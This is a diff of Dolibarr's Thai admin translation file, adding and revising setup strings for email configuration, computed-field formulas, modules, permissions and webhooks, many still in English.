      %s +HelpCenterDesc1=ต่อไปนี้คือแหล่งข้อมูลบางส่วนสำหรับการรับความช่วยเหลือและการสนับสนุนจาก Dolibarr +HelpCenterDesc2=แหล่งข้อมูลเหล่านี้บางส่วนมีให้เฉพาะใน ภาษาอังกฤษ. CurrentMenuHandler=จัดการเมนูปัจจุบัน MeasuringUnit=หน่วยการวัด LeftMargin=Left margin @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) @@ -375,7 +375,7 @@ DoTestSendHTML=ทดสอบการส่ง HTM​​L ErrorCantUseRazIfNoYearInMask=เกิดข้อผิดพลาด ไม่สามารถใช้ตัวเลือก @ เพื่อรีเซ็ตตัวนับในแต่ละปีได้ หากลำดับ {yy} หรือ {yyyy} ไม่อยู่ในรูปแบบ ErrorCantUseRazInStartedYearIfNoYearMonthInMask=เกิดข้อผิดพลาด ไม่สามารถใช้ตัวเลือก @ หากลำดับ {yy}{mm} หรือ {yyyy}{mm} ไม่อยู่ในรูปแบบ UMask=umask พารามิเตอร์สำหรับไฟล์ใหม่ใน Unix / Linux / BSD / ระบบไฟล์ Mac -UMaskExplanation=พารามิเตอร์นี้จะช่วยให้คุณสามารถกำหนดสิทธิ์ในการตั้งค่าได้โดยเริ่มต้นในไฟล์ที่สร้างขึ้นโดย Dolibarr บนเซิร์ฟเวอร์ (ระหว่างการอัปโหลดตัวอย่าง)
      มันจะต้องเป็นค่าฐานแปด (ตัวอย่างเช่น 0666 หมายถึงการอ่านและเขียนสำหรับทุกคน)
      พารามิเตอร์นี้จะไม่ได้ผลในเซิร์ฟเวอร์ Windows +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Take a look at the Wiki page for a list of contributors and their organization UseACacheDelay= สำหรับการตอบสนองที่ล่าช้าในการส่งออกในไม่กี่วินาทีแคช (0 หรือที่ว่างเปล่าสำหรับแคชไม่ได้) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=เป็นเอกลักษณ์ Boolean=Boolean (one checkbox) ExtrafieldPhone = โทรศัพท์ ExtrafieldPrice = ราคา +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = อีเมล ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = เลือกรายการ ExtrafieldSelectList = เลือกจากตาราง ExtrafieldSeparator=Separator (not a field) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Checkboxes ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=เชื่อมโยงไปยังวัตถุ ComputedFormula=Computed field -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=สนาม @@ -643,11 +646,13 @@ Module2300Name=งานที่กำหนดเวลาไว้ Module2300Desc=Scheduled jobs management (alias cron or chrono table) Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=เปิดใช้งานเซิร์ฟเวอร์ SOAP Dolibarr ให้บริการ API -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=เปิดใช้งานเซิร์ฟเวอร์ Dolibarr REST API ให้บริการ Module2660Name=Call WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -658,7 +663,9 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind ความสามารถในการแปลง Module3200Name=Unalterable Archives Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. -Module3400Name=Social Networks +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. +Module3400Name=สังคมออนไลน์ Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=ระบบบริหารจัดการทรัพยากรบุคคล Module4000Desc=Human resources management (management of department, employee contracts and feelings) @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=ทรัพยากร Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=อ่านใบแจ้งหนี้ของลูกค้า +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=สร้าง / แก้ไขใบแจ้งหนี้ของลูกค้า Permission13=Invalidate customer invoices Permission14=ตรวจสอบใบแจ้งหนี้ของลูกค้า @@ -842,9 +852,9 @@ Permission286=รายชื่อที่ส่งออก Permission291=ดูภาษี Permission292=กำหนดสิทธิในการเก็บภาษีศุลกากร Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=ดูบริการ Permission312=กำหนดบริการ / สมัครสมาชิกที่จะทำสัญญา Permission331=ดูบุ๊คมาร์ค @@ -940,7 +950,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=ได้รับผลจากการส่งออก Permission1202=สร้าง / แก้ไขการส่งออก -Permission1231=Read vendor invoices +Permission1231=Read vendor invoices (and payments) Permission1232=Create/modify vendor invoices Permission1233=Validate vendor invoices Permission1234=Delete vendor invoices @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1068,7 +1079,7 @@ DictionaryAccountancyJournal=Accounting journals DictionaryEMailTemplates=Email Templates DictionaryUnits=หน่วย DictionaryMeasuringUnits=Measuring Units -DictionarySocialNetworks=Social Networks +DictionarySocialNetworks=สังคมออนไลน์ DictionaryProspectStatus=Prospect status for companies DictionaryProspectContactStatus=Prospect status for contacts DictionaryHolidayTypes=Leave - Types of leave @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=ประเภทของหน่วย SetupSaved=การตั้งค่าที่บันทึกไว้ SetupNotSaved=ยังไม่ได้บันทึกการตั้งค่า +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=ข้อมูลระบบข้อมูลทางด้านเทคนิคอื่น ๆ ที่คุณได้รับในโหมดอ่านอย่างเดียวและมองเห็นสำหรับผู้ดูแลระบบเท่านั้น SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=ทริกเกอร์ในแฟ้มน GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. DictionaryDesc=Insert all reference data. You can add your values to the default. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=All other security related parameters are defined here. LimitsSetup=ข้อ จำกัด / การตั้งค่าความแม่นยำ LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=คุณต้องเร YourPHPDoesNotHaveSSLSupport=ฟังก์ชั่น SSL ไม่สามารถใช้ได้ใน PHP ของคุณ DownloadMoreSkins=กินมากขึ้นในการดาวน์โหลด SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=รับบาร์โค้ด NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1434,6 +1453,10 @@ SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=ข้อเสนอเชิงพาณิชย์การติดตั้งโมดูล ProposalsNumberingModules=จำนวนข้อเสนอในเชิงพาณิชย์รุ่น @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=ลายน้ำในสัญญาร่า ##### Members ##### MembersSetup=สมาชิกติดตั้งโมดูล MemberMainOptions=ตัวเลือกหลัก +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= เข้าสู่ระบบการจัดการสำหรับสมาชิกแต่ละคน AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=ช่องทำเครื่องหมายยืนยันที่จะส่งอีเมลไปยังสมาชิก (การตรวจสอบหรือการสมัครสมาชิกใหม่) เป็นตามค่าเริ่มต้น MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=เปิดใช้งานขั้นสูงสำห FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= สร้าง WYSIWIG / รุ่นสำหรับ eMailings มวล (Tools-> ส่งอีเมล) FCKeditorForUserSignature=สร้าง WYSIWIG / ฉบับลายเซ็นของผู้ใช้ FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=จัดการเมนูที่จะแสดงเ DetailMenuModule=ชื่อโมดูลถ้ารายการเมนูมาจากโมดูล DetailType=ประเภทเมนู (ด้านบนหรือด้านซ้าย) DetailTitre=ป้ายเมนูหรือรหัสฉลากสำหรับการแปล -DetailUrl=URL ที่เมนูส่ง (ลิงค์ URL ของแอบโซลูทหรือการเชื่อมโยงจากภายนอกด้วย http: //) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=สภาพที่จะแสดงหรือไม่เข้า DetailRight=สภาพที่จะแสดงเมนูสีเทาไม่ได้รับอนุญาต DetailLangs=ชื่อไฟล์ Lang สำหรับการแปลรหัสฉลาก @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Bookmark ติดตั้งโมดูล BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind การติดตั้งโมดูล -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=โปรดทราบว่าทรัพย์สินทางปัญญาไปยังแฟ้มข้อมูลประเทศของคุณจะต้องอยู่ภายในไดเรกทอรี PHP คุณสามารถอ่าน (ตรวจสอบการติดตั้ง PHP open_basedir ของคุณและสิทธิ์ระบบแฟ้ม) YouCanDownloadFreeDatFileTo=คุณสามารถดาวน์โหลดรุ่นสาธิตฟรีของแฟ้ม Maxmind GeoIP ประเทศที่% s YouCanDownloadAdvancedDatFileTo=นอกจากนี้คุณยังสามารถดาวน์โหลดรุ่นที่สมบูรณ์มากขึ้นมีการปรับปรุงของ Maxmind GeoIP ประเทศที่ไฟล์% s @@ -1926,6 +1953,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=การติดตั้งโมดูลภายนอกเป็นไปไม่ได้จากอินเตอร์เฟซเว็บด้วยเหตุผลต่อไปนี้: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=ติดตั้งโมดูลภายนอกจากโปรแกรมที่ได้รับการปิดใช้งานโดยผู้ดูแลระบบ คุณต้องขอให้เขาลบไฟล์% s เพื่อให้คุณลักษณะนี้ ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=เน้นเส้นตารางเมื่อเลื่อนเมาส์ผ่านไป @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=แนะนำ NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
